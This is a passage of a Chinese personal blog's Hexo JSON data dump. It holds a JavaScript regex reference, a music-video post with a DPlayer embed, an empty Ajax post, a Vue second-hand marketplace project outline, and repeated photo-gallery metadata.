的字符。</p>\n<h3 id=\"A-z\"><a href=\"#A-z\" class=\"headerlink\" title=\"[A-z]\"></a>[A-z]</h3><p>  查找任何从大写 A 到小写 z 的字符。</p>\n<h3 id=\"adgk\"><a href=\"#adgk\" class=\"headerlink\" title=\"[adgk]\"></a>[adgk]</h3><p>  查找括号中给定的字符集。</p>\n<h3 id=\"adgk-1\"><a href=\"#adgk-1\" class=\"headerlink\" title=\"[^adgk]\"></a>[^adgk]</h3><p>  查找除括号内之外的所有字符。</p>\n<h3 id=\"red-blue-green\"><a href=\"#red-blue-green\" class=\"headerlink\" title=\"[red|blue|green]\"></a>[red|blue|green]</h3><p>  查找任何指定的选项。</p>\n<h2 id=\"元字符\"><a href=\"#元字符\" class=\"headerlink\" title=\"元字符\"></a>元字符</h2><h3 id=\"‘-’\"><a href=\"#‘-’\" class=\"headerlink\" title=\"‘.’\"></a>‘.’</h3><p>  查找单个字符，除了换行符和结束符。</p>\n<h3 id=\"w\"><a href=\"#w\" class=\"headerlink\" title=\"\\w\"></a>\\w</h3><p>  查找单词字符。</p>\n<h3 id=\"W\"><a href=\"#W\" class=\"headerlink\" title=\"\\W\"></a>\\W</h3><p>  查找非单词字符。</p>\n<h3 id=\"d\"><a href=\"#d\" class=\"headerlink\" title=\"\\d\"></a>\\d</h3><p>  查找数字。</p>\n<h3 id=\"D\"><a href=\"#D\" class=\"headerlink\" title=\"\\D\"></a>\\D</h3><p>  查找非数字。</p>\n<h3 id=\"s\"><a href=\"#s\" class=\"headerlink\" title=\"\\s\"></a>\\s</h3><p>  查找空白字符。</p>\n<h3 id=\"S\"><a href=\"#S\" class=\"headerlink\" title=\"\\S\"></a>\\S</h3><p>  查找非空白字符。</p>\n<h3 id=\"b\"><a href=\"#b\" class=\"headerlink\" title=\"\\b\"></a>\\b</h3><p>  匹配单词边界。</p>\n<h3 id=\"B\"><a href=\"#B\" class=\"headerlink\" title=\"\\B\"></a>\\B</h3><p>  匹配非单词边界。</p>\n<h3 id=\"0\"><a href=\"#0\" class=\"headerlink\" title=\"\\0\"></a>\\0</h3><p>  查找null字符。</p>\n<h3 id=\"n\"><a href=\"#n\" class=\"headerlink\" title=\"\\n\"></a>\\n</h3><p>  查找换行符。</p>\n<h3 id=\"f\"><a href=\"#f\" class=\"headerlink\" title=\"\\f\"></a>\\f</h3><p>  查找换页符。</p>\n<h3 id=\"r\"><a href=\"#r\" class=\"headerlink\" title=\"\\r\"></a>\\r</h3><p>  查找回车符。</p>\n<h3 id=\"t\"><a href=\"#t\" class=\"headerlink\" title=\"\\t\"></a>\\t</h3><p>  查找制表符。</p>\n<h3 id=\"v\"><a href=\"#v\" class=\"headerlink\" title=\"\\v\"></a>\\v</h3><p>  查找垂直制表符。</p>\n<h3 id=\"xxx\"><a href=\"#xxx\" class=\"headerlink\" title=\"\\xxx\"></a>\\xxx</h3><p>  查找以八进制 xxx 规定的字符。</p>\n<h3 id=\"xdd\"><a href=\"#xdd\" class=\"headerlink\" title=\"\\xdd\"></a>\\xdd</h3><p>  查找以十六进制 dd 规定的字符。</p>\n<h3 id=\"uxxxx\"><a href=\"#uxxxx\" class=\"headerlink\" title=\"\\uxxxx\"></a>\\uxxxx</h3><p>  查找以十六进制 xxxx 规定的 Uicode 字符。</p>\n<h2 id=\"量词\"><a href=\"#量词\" class=\"headerlink\" title=\"量词\"></a>量词</h2><h3 id=\"n-1\"><a href=\"#n-1\" class=\"headerlink\" title=\"n+\"></a>n+</h3><p>  匹配任何包含至少一个 n 的字符串。</p>\n<blockquote>\n<p>eg: /a+/ 匹配 “candy” 中的 “a”， “caaaaaandy” 中的 “a”。</p>\n</blockquote>\n<h3 id=\"n-2\"><a href=\"#n-2\" class=\"headerlink\" title=\"n*\"></a>n*</h3><p>  匹配任何包含零个或多个 n 的字符串。</p>\n<blockquote>\n<p>eg: /bo*/ 匹配 “a ghost booooed ” 中的 “boooo”，“hell by” 中的 ”b”。</p>\n</blockquote>\n<h3 id=\"n？\"><a href=\"#n？\" class=\"headerlink\" title=\"n？\"></a>n？</h3><p>  匹配任何包含零个或一个 n 的字符串。</p>\n<blockquote>\n<p>eg: /e?le?/ 匹配 “angel” 中的 “el”，“angle” 中的 “le”。</p>\n</blockquote>\n<h3 id=\"n-X\"><a href=\"#n-X\" class=\"headerlink\" title=\"n(X)\"></a>n(X)</h3><p>  匹配包含 X个 n 的序列的字符串。</p>\n<blockquote>\n<p>eg: /a(2)/ 不匹配 “candy” 中的 “a”，但是匹配 “caandy”，“caaandy”。</p>\n</blockquote>\n<h3 id=\"n-X-1\"><a href=\"#n-X-1\" class=\"headerlink\" title=\"n{X,}\"></a>n{X,}</h3><p>  X 是一个正整数，前面的模式 n 连续出现至少 X 次匹配。</p>\n<blockquote>\n<p>/a{2,}/ 不匹配 “candy”，匹配 “caandy” 和 “caaaandy” 中的所有 “a“。</p>\n</blockquote>\n<h3 id=\"n-X-Y\"><a href=\"#n-X-Y\" class=\"headerlink\" title=\"n{X, Y}\"></a>n{X, Y}</h3><p>  n 出现至少 X 次，至多 Y 次。</p>\n<blockquote>\n<p>/a{1,3} 匹配 ”candy“ 的 ”a“，”caandy“ 中的 ”aa“，“caaaandy” 前三个 “a”。</p>\n</blockquote>\n<h3 id=\"n-3\"><a href=\"#n-3\" class=\"headerlink\" title=\"n$\"></a>n$</h3><p>  匹配任何以 n 结尾的字符串。</p>\n<h3 id=\"n-4\"><a href=\"#n-4\" class=\"headerlink\" title=\"^n\"></a>^n</h3><p>  匹配任何以 n 开头的字符串。</p>\n<h3 id=\"n-5\"><a href=\"#n-5\" class=\"headerlink\" title=\"?=n\"></a>?=n</h3><p>  匹配任何其后紧接指定 n 的字符串。</p>\n<h3 id=\"n-6\"><a href=\"#n-6\" class=\"headerlink\" title=\"?!n\"></a>?!n</h3><p>  匹配任何其后没有指定 n 的字符串。</p>\n<h2 id=\"RegExp-对象方法\"><a href=\"#RegExp-对象方法\" class=\"headerlink\" title=\"RegExp 对象方法\"></a>RegExp 对象方法</h2><h3 id=\"compile\"><a href=\"#compile\" class=\"headerlink\" title=\"compile\"></a>compile</h3><p>  编译正则表达式。</p>\n<h3 id=\"exec\"><a href=\"#exec\" class=\"headerlink\" title=\"exec\"></a>exec</h3><p>  检索字符串中指定的值。返回找到的值，并确定其位置。</p>\n<h3 id=\"test\"><a href=\"#test\" class=\"headerlink\" title=\"test\"></a>test</h3><p>  检索字符串中指定的值，返回 true or false。</p>\n<h2 id=\"String-对象的正则方法\"><a href=\"#String-对象的正则方法\" class=\"headerlink\" title=\"String 对象的正则方法\"></a>String 对象的正则方法</h2><h3 id=\"search\"><a href=\"#search\" class=\"headerlink\" title=\"search\"></a>search</h3><p>  检索与正则表达式相匹配的值。</p>\n<blockquote>\n<p>eg: str.search(“blue”) 返回的是 blue 出现的字符下标(大小写敏感)。</p>\n</blockquote>\n<h3 id=\"match\"><a href=\"#match\" class=\"headerlink\" title=\"match\"></a>match</h3><p>  找到一个或者多个正则表达式的匹配。</p>\n<blockquote>\n<p>eg: str.match(/ain/g) 返回所有出现的 ain (大小写敏感)。</p>\n</blockquote>\n<h3 id=\"replace\"><a href=\"#replace\" class=\"headerlink\" title=\"replace\"></a>replace</h3><p>  替换与正则表达式匹配的字串。</p>\n<blockquote>\n<p>eg: str.replace(/blue/g,”red”) 替换所有 blue 为 red。</p>\n</blockquote>\n<h3 id=\"split\"><a href=\"#split\" class=\"headerlink\" title=\"split\"></a>split</h3><p>  把字符串分割为字符串数组。</p>\n<blockquote>\n<p>string.split(separator,limit) 在 separator 指定位置分割, 返回内容不超过 limit 长度。</p>\n</blockquote>\n"},{"title":"梦中的婚礼","date":"2016-08-15T07:38:42.000Z","_content":"\n{% dplayer \n    \"url=http://orjedzer5.bkt.clouddn.com/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.mp4\n\" \n    \"api=http://dplayer.daoapp.io\"  \n    \"id=4\" \n    \"loop=yes\" \n    \"theme=#fff\" \n    \"autoplay=true\" \n    \"token=tokendemo\" \n%}","source":"_posts/梦中的婚礼.md","raw":"---\ntitle: 梦中的婚礼\ndate: 2016-08-15 15:38:42\ntags: [指弹, 古典]\ncategories: 音乐\n---\n\n{% dplayer \n    \"url=http://orjedzer5.bkt.clouddn.com/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.mp4\n\" \n    \"api=http://dplayer.daoapp.io\"  \n    \"id=4\" \n    \"loop=yes\" \n    \"theme=#fff\" \n    \"autoplay=true\" \n    \"token=tokendemo\" \n%}","slug":"梦中的婚礼","published":1,"updated":"2018-01-22T06:42:13.478Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y73004kvzqh379rff47","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><div id=\"dplayer4\" class=\"dplayer hexo-tag-dplayer-mark\" style=\"margin-bottom: 20px;\"></div><script>(function(){var player = new DPlayer({\"container\":document.getElementById(\"dplayer4\"),\"autoplay\":true,\"theme\":\"#fff\",\"loop\":true,\"video\":{\"url\":\"http://orjedzer5.bkt.clouddn.com/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.mp4\"},\"danmaku\":{\"id\":\"4\",\"api\":\"http://dplayer.daoapp.io\",\"token\":\"tokendemo\"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<div id=\"dplayer4\" class=\"dplayer hexo-tag-dplayer-mark\" style=\"margin-bottom: 20px;\"></div><script>(function(){var player = new DPlayer({\"container\":document.getElementById(\"dplayer4\"),\"autoplay\":true,\"theme\":\"#fff\",\"loop\":true,\"video\":{\"url\":\"http://orjedzer5.bkt.clouddn.com/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.mp4\"},\"danmaku\":{\"id\":\"4\",\"api\":\"http://dplayer.daoapp.io\",\"token\":\"tokendemo\"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>"},{"title":"深入浅出 Ajax","date":"2018-01-31T03:29:45.000Z","_content":"","source":"_posts/深入浅出-Ajax.md","raw":"---\ntitle: 深入浅出 Ajax\ndate: 2018-01-31 11:29:45\ntags:\n---\n","slug":"深入浅出-Ajax","published":1,"updated":"2018-01-31T03:29:45.267Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y75004ovzqhttee57qq","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":""},{"title":"用vue撸一个二手商城","date":"2018-01-22T03:30:37.000Z","_content":"## 开发背景\n一直想尝试下全栈开发，想尝试一下，选题的初衷是\b自己对资源共享和二手市场的前景非常看好\n<br>\b共享资源的概念是有利于社会进步，并且是思维的一种跨越；未来一定是一个更美好的社会，我们需要做的就是让那一天尽早的到来\n\n\n## \b技术栈\n\n### 前端\n* vue + vue-router + vuex\n* axios \n* muse-ui\n\n### 后端\n* express + nodeJS\n\n### 打包\n* \bwebpack\n\n### 数据库\n* MongoDB\n\n## \n","source":"_posts/用vue撸一个二手商城.md","raw":"---\ntitle: 用vue撸一个二手商城\ndate: 2018-01-22 11:30:37\ntags: [mongoDB, 全栈开发]\ncategories: web前端\n---\n## 开发背景\n一直想尝试下全栈开发，想尝试一下，选题的初衷是\b自己对资源共享和二手市场的前景非常看好\n<br>\b共享资源的概念是有利于社会进步，并且是思维的一种跨越；未来一定是一个更美好的社会，我们需要做的就是让那一天尽早的到来\n\n\n## \b技术栈\n\n### 前端\n* vue + vue-router + vuex\n* axios \n* muse-ui\n\n### 后端\n* express + nodeJS\n\n### 打包\n* \bwebpack\n\n### 数据库\n* MongoDB\n\n## \n","slug":"用vue撸一个二手商城","published":1,"updated":"2018-01-22T03:49:32.471Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y79004svzqhv51fcrf9","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"开发背景\"><a href=\"#开发背景\" class=\"headerlink\" title=\"开发背景\"></a>开发背景</h2><p>一直想尝试下全栈开发，想尝试一下，选题的初衷是\b自己对资源共享和二手市场的前景非常看好<br><br>\b共享资源的概念是有利于社会进步，并且是思维的一种跨越；未来一定是一个更美好的社会，我们需要做的就是让那一天尽早的到来</p>\n<h2 id=\"技术栈\"><a href=\"#技术栈\" class=\"headerlink\" title=\"\b技术栈\"></a>\b技术栈</h2><h3 id=\"前端\"><a href=\"#前端\" class=\"headerlink\" title=\"前端\"></a>前端</h3><ul>\n<li>vue + vue-router + vuex</li>\n<li>axios </li>\n<li>muse-ui</li>\n</ul>\n<h3 id=\"后端\"><a href=\"#后端\" class=\"headerlink\" title=\"后端\"></a>后端</h3><ul>\n<li>express + nodeJS</li>\n</ul>\n<h3 id=\"打包\"><a href=\"#打包\" class=\"headerlink\" title=\"打包\"></a>打包</h3><ul>\n<li>\bwebpack</li>\n</ul>\n<h3 id=\"数据库\"><a href=\"#数据库\" class=\"headerlink\" title=\"数据库\"></a>数据库</h3><ul>\n<li>MongoDB</li>\n</ul>\n<p>## </p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"开发背景\"><a href=\"#开发背景\" class=\"headerlink\" title=\"开发背景\"></a>开发背景</h2><p>一直想尝试下全栈开发，想尝试一下，选题的初衷是\b自己对资源共享和二手市场的前景非常看好<br><br>\b共享资源的概念是有利于社会进步，并且是思维的一种跨越；未来一定是一个更美好的社会，我们需要做的就是让那一天尽早的到来</p>\n<h2 id=\"技术栈\"><a href=\"#技术栈\" class=\"headerlink\" title=\"\b技术栈\"></a>\b技术栈</h2><h3 id=\"前端\"><a href=\"#前端\" class=\"headerlink\" title=\"前端\"></a>前端</h3><ul>\n<li>vue + vue-router + vuex</li>\n<li>axios </li>\n<li>muse-ui</li>\n</ul>\n<h3 id=\"后端\"><a href=\"#后端\" class=\"headerlink\" title=\"后端\"></a>后端</h3><ul>\n<li>express + nodeJS</li>\n</ul>\n<h3 id=\"打包\"><a href=\"#打包\" class=\"headerlink\" title=\"打包\"></a>打包</h3><ul>\n<li>\bwebpack</li>\n</ul>\n<h3 id=\"数据库\"><a href=\"#数据库\" class=\"headerlink\" title=\"数据库\"></a>数据库</h3><ul>\n<li>MongoDB</li>\n</ul>\n<p>## </p>\n"},{"title":"电吉他即兴原理","date":"2017-02-15T13:02:51.000Z","_content":"\n## 第一阶段\n\n* 先确定好和弦进行，比如 